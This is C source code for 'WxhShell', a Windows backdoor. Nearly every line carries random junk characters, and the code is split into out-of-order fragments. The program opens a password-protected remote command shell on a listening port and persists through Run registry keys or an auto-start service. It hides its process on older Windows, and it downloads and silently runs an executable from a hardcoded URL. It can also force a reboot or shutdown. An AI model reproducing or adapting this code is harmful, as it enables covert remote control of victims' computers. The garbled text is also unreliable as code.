    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KF-gcRh  
    else { XY QUU0R  
    closesocket(wsh); <ct{D|mm  
    ExitThread(0); U14dQ=~b/  
    } $l[*Y  
    break; 1@qb.9wZ6  
    } 7iJk0L$]x  
  // 获取shell .r*b+rc;]  
  case 's': { U ._1'pW  
    CmdShell(wsh); M[*:=C)H  
    closesocket(wsh); 't_=%^ q  
    ExitThread(0); c!\y\r  
    break; $BBfsaJPT  
  } /s*>V@Q  
  // 退出 u]MF r2  
  case 'x': { G7/LYTT)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z/RUrYeb  
    CloseIt(wsh); Tx_(^K  
    break; Iq}h}Wd  
    } b~1p.J4  
  // 离开 YL=k&Q G  
  case 'q': { gS|xicq!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }EIwkz8  
    closesocket(wsh); )L hO}zQ  
    WSACleanup(); =<_5gR  
    exit(1); 1k%ko?  
    break; Yh%wf3 UEO  
        } g4$%)0x%  
  } X9gC2iSs]  
  } Z "=(u wM  
yEqmB4^-  
  // 提示信息 yaR;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V= *J9~K  
} -5 W0K}  
  } kL|Y-(FPo%  
qRGb3l  
  return; Qy/bzO  
} c_a$g  
+l/j6)O`(m  
// shell模块句柄 S'JeA>L  
int CmdShell(SOCKET sock) KE&}*Nf[  
{ HgBg,1  
STARTUPINFO si; 9f6TFdUi"y  
ZeroMemory(&si,sizeof(si)); J3.Q8f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .M{[J]H`t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .XB] X  
PROCESS_INFORMATION ProcessInfo; 9c7 }-Go  
char cmdline[]="cmd"; YPy))>Q>cK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G([vy#p  
  return 0; @!'H'GvA  
} #Fd( [Zx#.  
Xbtv}g<0c  
// 自身启动模式 (Sv%-8?gs  
int StartFromService(void) -d3y!| \>a  
{ td&l T(7  
typedef struct Bw=[g&+o1@  
{ 85{vz|(':  
  DWORD ExitStatus; ~&/Gx_KU  
  DWORD PebBaseAddress; _z5CplO  
  DWORD AffinityMask; C|zH {.H  
  DWORD BasePriority; wf@2&vJ  
  ULONG UniqueProcessId; %Nn'p"  
  ULONG InheritedFromUniqueProcessId; !m|%4/ M@  
}   PROCESS_BASIC_INFORMATION; [;f"',)y,  
^aW[~ c  
PROCNTQSIP NtQueryInformationProcess; V$%K=[  
ZO 1J";>u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5l}h8So4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zn0fgQd  
g\)z!DQ]  
  HANDLE             hProcess; R,bcE4WR"  
  PROCESS_BASIC_INFORMATION pbi; 7:<Ed"rdE  
Mv=cLG?X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'X,V  
  if(NULL == hInst ) return 0; \veL5  
EG.C2]Fi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R7{hoqI2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \IfgL$+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Cus t  
\8D~,$,``|  
  if (!NtQueryInformationProcess) return 0; ,R =VzP&  
~\G3 l,4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sD3|Qj;  
  if(!hProcess) return 0; xH[yIfHkG@  
e"6i >w!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3T/j5m}+!  
$\!;*SSj  
  CloseHandle(hProcess); ?63JQ.;  
uP]o39b;V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rfi`Bp  
if(hProcess==NULL) return 0; FO=1P7  
uCfp+  
HMODULE hMod; ;/T-rVND  
char procName[255]; ,-Nk-g  
unsigned long cbNeeded; <R>ZG"m{  
BD-=y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K:@=W1  
I}IW!K  
  CloseHandle(hProcess); 2QRn c"  
|=T<WU1$  
if(strstr(procName,"services")) return 1; // 以服务启动 q*nz4QTOE  
W@dY:N}  
  return 0; // 注册表启动 UJ$:5*S=u  
} T6roz  
p&mtKLv  
// 主模块 *$C[![   
int StartWxhshell(LPSTR lpCmdLine) yWtr,  
{ u(Sz$eV  
  SOCKET wsl; a?~csP^?}  
BOOL val=TRUE; ONiI:Z>%  
  int port=0; z44~5J]  
  struct sockaddr_in door; SYPMoE!U:  
l|em E ^  
  if(wscfg.ws_autoins) Install(); \q'fB?bS^  
)N 6[rw<  
port=atoi(lpCmdLine); a&"*UJk<?  
H`lD@q'S  
if(port<=0) port=wscfg.ws_port;  ja- ~`  
b_Jq=Gk`  
  WSADATA data; +|YZEC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q5n : f+  
TF-Ty  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   So.P @CCd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mS}x2 &  
  door.sin_family = AF_INET; `j}d=zZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b|o!&9Yyr  
  door.sin_port = htons(port); !o':\hex6  
!gfhEz Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _C,@eu"9V  
closesocket(wsl); f\U&M,L\ '  
return 1; @[lc0_ b  
} 7O{O')o!  
89#0vG7m  
  if(listen(wsl,2) == INVALID_SOCKET) { =e8L7_;  
closesocket(wsl); M2Fj)w2   
return 1; M.N~fSJ   
} S} Cp&}G{P  
  Wxhshell(wsl); R 0HVLQI  
  WSACleanup(); %`1CE\f  
2 RUR=%C  
return 0; EvQwGt1)P  
ZNpExfGEU  
} {V% O4/  
,nB3c5X)|  
// 以NT服务方式启动 QsJW"4d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0&IXzEOr  
{ 6*aa[,>  
DWORD   status = 0; u<=KC/vZe  
  DWORD   specificError = 0xfffffff; "Lq|66  
JOx ,19r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t{8v(}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 56SS >b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f H|QAMfOu  
  serviceStatus.dwWin32ExitCode     = 0; <!}l~Ln15  
  serviceStatus.dwServiceSpecificExitCode = 0; a<wQzgxG  
  serviceStatus.dwCheckPoint       = 0; FEZ"\|I|  
  serviceStatus.dwWaitHint       = 0; +VLe'|  
x36#x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "E)++\JL  
  if (hServiceStatusHandle==0) return; AYA&&b  
W#jZRviyq!  
status = GetLastError(); A :bPIXb  
  if (status!=NO_ERROR) .n& Cq+U;  
{ A9l})_~i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {_XrZ(y/  
    serviceStatus.dwCheckPoint       = 0; o;4e)tK  
    serviceStatus.dwWaitHint       = 0; ~@uY?jr  
    serviceStatus.dwWin32ExitCode     = status; TF0-?vBWh  
    serviceStatus.dwServiceSpecificExitCode = specificError; hdr}!w V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JV]u(PL  
    return; IgVo%)n  
  } [}ZPg3Y  
G</I%qM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v V6Lp  
  serviceStatus.dwCheckPoint       = 0; SU%rWH  
  serviceStatus.dwWaitHint       = 0; (21 W6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tdnXPxn[  
} 2iPmCG  
yOUX E>-  
// 处理NT服务事件,比如:启动、停止 (ND5CKCR^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r3H}*Wpf  
{ ^/C $L8#  
switch(fdwControl) k'ZUBTRq!  
{ Go\} A:|s  
case SERVICE_CONTROL_STOP: Z#F,y)YiO  
  serviceStatus.dwWin32ExitCode = 0; of'ZNQ/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !q$&JZY  
  serviceStatus.dwCheckPoint   = 0; -e{)v'C)  
  serviceStatus.dwWaitHint     = 0; oa &z/`@  
  { 9U=fJrj'u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 12tJrS*Z  
  } ? %+VG  
  return; Uc&6=5~Ys\  
case SERVICE_CONTROL_PAUSE: D,dHP-v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :qAc= IC%  
  break; =l8!VJa  
case SERVICE_CONTROL_CONTINUE: 833 %H`jQc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uojh%@.4  
  break; ! nCjA\$  
case SERVICE_CONTROL_INTERROGATE: xv$)u<Ve  
  break; JXL9Gge  
}; @Xve qUUU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S0N2rU  
} (lN;xT`=  
p<HTJ0  
// 标准应用程序主函数 NDRW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XatA8(_,5  
{ xi?P(s A  
# 5y9L  
// 获取操作系统版本 &R'w-0k_  
OsIsNt=GetOsVer(); \7,MZt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A-a17}fta  
my\o P(e\  
  // 从命令行安装 :T7?  
  if(strpbrk(lpCmdLine,"iI")) Install(); H ~[LJ5x  
`!nJS|  
  // 下载执行文件 9U|<q  
if(wscfg.ws_downexe) { y8w0eq94  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) msc 1^2  
  WinExec(wscfg.ws_filenam,SW_HIDE); OB?SkR  
} kRN|TDx(  
: F7k{~  
if(!OsIsNt) { NV} RRs  
// 如果时win9x,隐藏进程并且设置为注册表启动 =de<WoKnu2  
HideProc(); +z:CZ(fb  
StartWxhshell(lpCmdLine); b|sc'eP#?  
} @PPR$4  
else a{]g+tGH  
  if(StartFromService()) ]~ !X iCqu  
  // 以服务方式启动 *?_qE  
  StartServiceCtrlDispatcher(DispatchTable); `E} p77  
else <$jKy3@  
  // 普通方式启动 ; .ysCF  
  StartWxhshell(lpCmdLine); Pgn_9Y?<  
x?,~TC4  
return 0; RDs,sj/Y9?  
} Y&vHOA  
jDlA<1  
T[0V%Br{d+  
8pYyG |\  
=========================================== /[a|DUoHO  
n}< ir!ZTO  
y#S1c)vU  
@72x`&|I?u  
6IEUJ-M Z  
ycgfZ 3K  
" L]k*QIn:h  
N9i}p^F<_  
#include <stdio.h> 5%<TF .;-J  
#include <string.h> e7@li<3>d  
#include <windows.h> %{R _^Y8t  
#include <winsock2.h> |x &Z~y  
#include <winsvc.h> XVQL.A7  
#include <urlmon.h> ?^LG hdR  
|EF>Y9   
#pragma comment (lib, "Ws2_32.lib") b/}'Vf[  
#pragma comment (lib, "urlmon.lib") a(8>n Z,V  
$brKl8P  
#define MAX_USER   100 // 最大客户端连接数 9v~1We;{$  
#define BUF_SOCK   200 // sock buffer Bj@x$v#/^  
#define KEY_BUFF   255 // 输入 buffer <fNGhmL  
%6AYCN?Ih  
#define REBOOT     0   // 重启 UhsO\9}qH  
#define SHUTDOWN   1   // 关机 7dSh3f!  
(E!%v`_0  
#define DEF_PORT   5000 // 监听端口 |/@0~O(6  
A)8rk_92Q  
#define REG_LEN     16   // 注册表键长度 qE>i,|rP`  
#define SVC_LEN     80   // NT服务名长度 |vv]Z(_  
6 -]>]Hr-  
// 从dll定义API za,6 du6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fC_zX}3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #hIEEkCp +  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5pO]vBT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hzaU8kb  
cX2$kIs;  
// wxhshell配置信息 __ 8&Jv\  
struct WSCFG { Js/N()X  
  int ws_port;         // 监听端口 6hZ.{8e0  
  char ws_passstr[REG_LEN]; // 口令 YVoao#!  
  int ws_autoins;       // 安装标记, 1=yes 0=no [ L  
  char ws_regname[REG_LEN]; // 注册表键名 p` $fTgm  
  char ws_svcname[REG_LEN]; // 服务名 Jf2e<?`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mv{<'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s~L`53A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $( S*GF$S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .+OB!'dDK^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eaEbH2J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W+KF2(lB  
+|6`E3j%  
}; O{~KR/  
Fav?,Q,n  
// default Wxhshell configuration FtE90=$  
struct WSCFG wscfg={DEF_PORT, ^Sw2xT$p{j  
    "xuhuanlingzhe", \H^;'agA  
    1, veV_be{i  
    "Wxhshell", oWI!u 5  
    "Wxhshell", }@wVW))6$  
            "WxhShell Service", gt'*B5F(  
    "Wrsky Windows CmdShell Service", nh<Z1tMU  
    "Please Input Your Password: ", GSP?X$E  
  1, YNI;h%w  
  "http://www.wrsky.com/wxhshell.exe", yx2z%E  
  "Wxhshell.exe" YV-j/U{&  
    }; 1DUb [W8  
q]K'p,'  
// 消息定义模块 "rsSW 3_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n!ZMTcK8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #00D?nC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =LOk13l\"  
char *msg_ws_ext="\n\rExit."; vHS2q >  
char *msg_ws_end="\n\rQuit."; guU=NQZ  
char *msg_ws_boot="\n\rReboot..."; $(3uOsy   
char *msg_ws_poff="\n\rShutdown..."; #G[t X6gU  
char *msg_ws_down="\n\rSave to "; ^+wk  
40u7fojg2  
char *msg_ws_err="\n\rErr!"; !~)90Z!  
char *msg_ws_ok="\n\rOK!"; u\f3qc,]F  
B_hPcmB  
char ExeFile[MAX_PATH]; d .p'pGL  
int nUser = 0;  c-5Ysg  
HANDLE handles[MAX_USER]; ;= a_B1"9u  
int OsIsNt; B[CA 5Ry  
44~hw:   
SERVICE_STATUS       serviceStatus; F_ 81l<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w-ALCh8o  
33 : @*  
// 函数声明 ypl G18  
int Install(void); D*QYKW=)  
int Uninstall(void); KU]ok '  
int DownloadFile(char *sURL, SOCKET wsh); Ps3~{zH`  
int Boot(int flag); .%IslLZ  
void HideProc(void); g8RPHjvZ  
int GetOsVer(void); W!91tzs:  
int Wxhshell(SOCKET wsl); /D'M24  
void TalkWithClient(void *cs); J:AMnUOcDi  
int CmdShell(SOCKET sock); @MOCug4  
int StartFromService(void); B)M& \: _  
int StartWxhshell(LPSTR lpCmdLine); &pL/ @2+  
l[oe*aYN7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lc|{aN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P 6.!3%y  
TcJ$[  
// 数据结构和表定义 &qKig kLd  
SERVICE_TABLE_ENTRY DispatchTable[] = RU|X*3";T  
{ i'=2Y9S}  
{wscfg.ws_svcname, NTServiceMain}, ,5{$+  
{NULL, NULL} q_sEw~~@!  
}; hO \/  
s1 bU  
// 自我安装 hO3 {  
int Install(void) Wo!;K|~P  
{ u h )o  
  char svExeFile[MAX_PATH]; CW p#^1F  
  HKEY key; 1'Rmg\(  
  strcpy(svExeFile,ExeFile); W:vr@e6  
FY4T(4#  
// 如果是win9x系统,修改注册表设为自启动 y^R4I_* z  
if(!OsIsNt) { ezUQ> e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RYy,wVh}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pawl|Z'Ez  
  RegCloseKey(key); Q+'nw9:;T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UV@0gdy[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G?xJv`"9iC  
  RegCloseKey(key); Bd# TUy  
  return 0; |55dbL$w  
    } E7`qmn  
  } 64umul  
} +rc SL8C  
else { Q|c|2byb  
i%F<AY\O)  
// 如果是NT以上系统,安装为系统服务 Z!_n_F k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n Q-mmY>#  
if (schSCManager!=0) "VTF}#Uo  
{ )R &,'`\  
  SC_HANDLE schService = CreateService DpvrMI~I_  
  ( <#*.}w~  
  schSCManager, 3{ "O,h  
  wscfg.ws_svcname, .3X Y&6  
  wscfg.ws_svcdisp, I 8z G~L%"  
  SERVICE_ALL_ACCESS, d:rGyA]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $FX,zC<=  
  SERVICE_AUTO_START, g`[$Xi R  
  SERVICE_ERROR_NORMAL, IPtvuEju\  
  svExeFile, >{nH v)  
  NULL, l'"'o~MC  
  NULL, v0LGdX)/Y  
  NULL, ? JXa~.dA  
  NULL, UQPU"F7.  
  NULL 5jZiJw(  
  ); E ]f)Os$  
  if (schService!=0) D(\$i.,b2  
  { Bm/YgQi  
  CloseServiceHandle(schService); r,;\/^u*  
  CloseServiceHandle(schSCManager); xaW{I7FfG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i=rH7k  
  strcat(svExeFile,wscfg.ws_svcname); .<YcSG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8@eOTzm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v"!4JZ%K  
  RegCloseKey(key); *eb-rhCVn  
  return 0; >cgpajx*  
    } tJU-<{8  
  } .zkP~xQ~  
  CloseServiceHandle(schSCManager); ,Eu?JH&}u  
} U(,.D}PG  
} :_HF j.JW  
7lA:)a_!]  
return 1; `hUHel;6  
} @ D[`Oj)  
/X#z*GX  
// 自我卸载 /.Q4~Hw%}  
int Uninstall(void) eR;!(Oy=A  
{ 5/@UVY9_  
  HKEY key; uQ3[Jz`y  
orfp>B) 0  
if(!OsIsNt) { <Ef[c@3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h-QLV[^  
  RegDeleteValue(key,wscfg.ws_regname); :Li/=>R^  
  RegCloseKey(key); {vVTv SC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : ]II-$/8  
  RegDeleteValue(key,wscfg.ws_regname); Ed-M7#wY  
  RegCloseKey(key); tSHFm-q`  
  return 0; 0xMj=3']  
  } @PSLs *  
} w/m:{cHk  
} l,`!rF_  
else { 5kMWW*Xtf  
.F2 :!h$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /,tAoa~FA  
if (schSCManager!=0) (S /F)?  
{ 6v732;^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >: Wau  
  if (schService!=0) ^%<pJMgdF  
  { K7(MD1tk  
  if(DeleteService(schService)!=0) { r>t1 _b+nu  
  CloseServiceHandle(schService); ,wj"! o#  
  CloseServiceHandle(schSCManager); jndGiMA  
  return 0; Qa4MZj ;$K  
  } EgM*d)X  
  CloseServiceHandle(schService); JL^2l$up  
  } ',=g;  
  CloseServiceHandle(schSCManager); 5V5w:U>_z  
} ~ 'Vxg}  
} C9~~O~7x  
#Dy?GB08  
return 1; X#p Wyo~  
} l#qv 5f  
^@6q  
// 从指定url下载文件 PK2~fJB  
int DownloadFile(char *sURL, SOCKET wsh) QP(BZJC  
{ (z7+|JE.  
  HRESULT hr; `/IKdO*!S  
char seps[]= "/"; B[o`k]]  
char *token; kOrl\_!z3  
char *file; !0}\&<8/m  
char myURL[MAX_PATH]; WO*9+\[v  
char myFILE[MAX_PATH]; LKF/u` 0dP  
e %O0hE  
strcpy(myURL,sURL); k$i'v:c|:i  
  token=strtok(myURL,seps); =o7}]k7  
  while(token!=NULL) 4P8*k[.  
  { Jjm|9|C,  
    file=token; l*=aMjd?  
  token=strtok(NULL,seps); EqB)sK/3  
  } N{Qxq>6 G  
,xsH|xW  
GetCurrentDirectory(MAX_PATH,myFILE); nE W31 8  
strcat(myFILE, "\\"); sRhKlUJG  
strcat(myFILE, file); *_-'/i  
  send(wsh,myFILE,strlen(myFILE),0); j`>^1Q  
send(wsh,"...",3,0); Y%aWK~O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [iS$JG-  
  if(hr==S_OK) iCQ>@P]nE  
return 0; 7jG(<!,  
else ROb\Rx m  
return 1; 19U]2D/z  
!{%:qQiA  
} $jzFc!rs  
=H`Q~ Xx  
// 系统电源模块 _lxco=qd=%  
int Boot(int flag) 5K%W a]W  
{ {MBTP;{*~  
  HANDLE hToken; }"s;\?a  
  TOKEN_PRIVILEGES tkp;  #ToK$8  
au@a8MP  
  if(OsIsNt) { <i. a pBH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {S.>BXX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V"KS[>>f  
    tkp.PrivilegeCount = 1; :#t*K6dz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *%FA:Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y/_XgPfWU  
if(flag==REBOOT) { S ZU \i*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A*yi"{FLi  
  return 0; ;{Ux_JEg  
} Kq6jw/T  
else { mI1H!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 45 >XKr.%  
  return 0; chI.{Rj  
} PL=^}{r  
  } @C8DZ5)  
  else { HLK@xKD<  
if(flag==REBOOT) { _8?o'<!8?^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =r. >N\  
  return 0; /F/;G*n  
} XP?rOOn  
else { ssQ BSbx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2\<.0  
  return 0; p s|)cW3`  
} kGYTl,A{  
} ro~+j}*   
.?W5{U  
return 1; @z`@f"l  
} JK_OZ  
))h6~1`  
// win9x进程隐藏模块 dFXc/VH')  
void HideProc(void) W7No ls{  
{ ki]ti={12  
N_C;&hJN$w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9)dfL?x8V{  
  if ( hKernel != NULL ) $% k1fa C  
  { $4=f+ "z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RVw9Y*]b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); clO,}Ph>  
    FreeLibrary(hKernel); uKr1Z2  
  } SI:ifR&T  
2][DZl  
return; &"Ux6mF-"  
} :;]Oc  
P\2M[Gu(Q  
// 获取操作系统版本 #;KsJb)N.  
int GetOsVer(void) oA-:zz> wL  
{ #\rwLpC1u  
  OSVERSIONINFO winfo; u,. 3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _"a=8a06G  
  GetVersionEx(&winfo); pJIv+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3(E $I5  
  return 1; g{k1&|  
  else ]3{0J  
  return 0; :3h{ A`u  
} uRV<?y%  
A#wEuX=[  
// 客户端句柄模块 I3b"|%  
int Wxhshell(SOCKET wsl) [I*! lbt  
{ K,ej%Vtz  
  SOCKET wsh; sy* y\5yJ  
  struct sockaddr_in client; \K2*Q&>  
  DWORD myID; o89( h!  
z9/G4^qF  
  while(nUser<MAX_USER) 3Hi+Z}8  
{ ] ,etZ%z&  
  int nSize=sizeof(client); C)-^<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l: |D,q  
  if(wsh==INVALID_SOCKET) return 1; 1%[_`J;>Z  
X@N$Z{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U\@A _ B  
if(handles[nUser]==0) w*7|dZk{  
  closesocket(wsh); 4<,|*hAT  
else ;F:fM!l=  
  nUser++; zt24qTKL  
  } k3!a$0Bs;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /a9 !Cf  
1Nn@L2b 2  
  return 0; Yf_6PGNzX  
} EV M7Q>  
NcS.49  
// 关闭 socket ;Y9=!.Ak0y  
void CloseIt(SOCKET wsh) t:~t@4j}  
{ =JLh?Wx  
closesocket(wsh); x+5k <Xi}  
nUser--; SUCU P<G  
ExitThread(0); '=E9En#@  
} imB#Eo4eY  
Nil}js27  
// 客户端请求句柄 d;[u8t  
void TalkWithClient(void *cs) M5L{*>4|6  
{ 66&EBX}  
>zvY\{WY  
  SOCKET wsh=(SOCKET)cs; IV16d  
  char pwd[SVC_LEN]; Oft arD  
  char cmd[KEY_BUFF]; Y&bM CI6U  
char chr[1]; Ue:z1p;g  
int i,j; D |bBu  
R"Liz3Vl%  
  while (nUser < MAX_USER) { 's?Ai2=#  
Nt`b;X&  
if(wscfg.ws_passstr) { ;#+0L$<t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G#`\(NW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _cH@I?B  
  //ZeroMemory(pwd,KEY_BUFF); '1SG(0  
      i=0; }l0&a!C  
  while(i<SVC_LEN) { | $^;wP  
U 5w:"x  
  // 设置超时 LHCsk{3  
  fd_set FdRead; w?vVVA  
  struct timeval TimeOut; 5MTgK=c  
  FD_ZERO(&FdRead); Lm*VN~2  
  FD_SET(wsh,&FdRead); CJknJn3m&  
  TimeOut.tv_sec=8; 0BPMmk  
  TimeOut.tv_usec=0; IakKi4(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `g ''rfk}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9<E g}Ic  
mdih-u(T|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ITJ q  
  pwd=chr[0]; jn%kG ~]'Q  
  if(chr[0]==0xd || chr[0]==0xa) { k_|^kdWJ  
  pwd=0; -cF'2Sfr  
  break; ~,6b_W p/  
  } 5AeQQU  
  i++; sd re#@n}  
    } l.)}t)my}  
o}Cq.[G4k  
  // 如果是非法用户,关闭 socket +t)n;JHN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kYwb -;  
} ws/63 d*  
FN[R(SLbL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zi$ziDz&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )ukpJ z""  
:\~+#/=:  
while(1) { GyI-)Bl DC  
~ AQp|  
  ZeroMemory(cmd,KEY_BUFF); 3:/'n  
9%)=`W  
      // 自动支持客户端 telnet标准   O09ke-lC  
  j=0; H5>hx {  
  while(j<KEY_BUFF) { / jTT5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :6kjEI  
  cmd[j]=chr[0]; h~Q)Uy5N(D  
  if(chr[0]==0xa || chr[0]==0xd) { >-< 8N-@"n  
  cmd[j]=0; R>@uY( >dJ  
  break; WP **a Bp  
  } Q/>L_S  
  j++; 2GmpCy`L"  
    } mY!iu(R1  
?dZt[vAMn  
  // 下载文件 9 t n!t  
  if(strstr(cmd,"http://")) { ;,'igdold  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X~.f7Ao[  
  if(DownloadFile(cmd,wsh)) &xZyM@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AN:@fZ  
  else Pi2|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;!@EixN-YH  
  } %WFu<^jm  
  else { o`,Qku k  
%i0?UpA  
    switch(cmd[0]) { 7B9`<{!h  
  >?W[PQ5yx  
  // 帮助 &Bb<4R  
  case '?': { @+,pN6}g  
